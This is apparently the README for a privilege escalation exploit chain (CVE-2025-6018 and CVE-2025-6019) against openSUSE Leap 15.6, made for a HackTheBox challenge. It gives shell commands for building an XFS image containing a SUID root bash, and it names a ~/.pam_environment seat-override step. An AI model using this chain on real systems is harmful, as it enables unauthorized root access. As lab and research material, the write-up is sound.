
Privilege escalation exploit chain (CVE-2025-6018 + CVE-2025-6019) for openSUSE Leap 15.6
This exploit was developed to solve a HackTheBox challenge targeting openSUSE Leap 15.6.
This exploit is based on the original research by the Qualys Security Team:
Additional reference implementation:
This exploit chains two vulnerabilities to achieve local privilege escalation from an unprivileged user to root on openSUSE Leap 15.6:
The exploit requires a pre-created XFS filesystem image containing a SUID bash binary. This must be created on a Linux machine where you have root privileges:
dd if=/dev/zero of=xfs.image bs=1M count=400
mkfs.xfs xfs.image
mkdir -p /tmp/mnt
mount xfs.image /tmp/mnt
cp /bin/bash /tmp/mnt/bash
chmod 04755 /tmp/mnt/bash
umount /tmp/mnt
Verify the image was created correctly:
file xfs.image
# Should output: "SGI XFS filesystem data (blksz 4096, inosz 256, v2 dirs)"
~/.pam_environment with XDG_SEAT and XDG_VTNR overridesIf the exploit fails:
file xfs.imagesystemctl status udisks2This exploit is for educational purposes and authorized security testing only. Use responsibly and only on systems you have permission to test.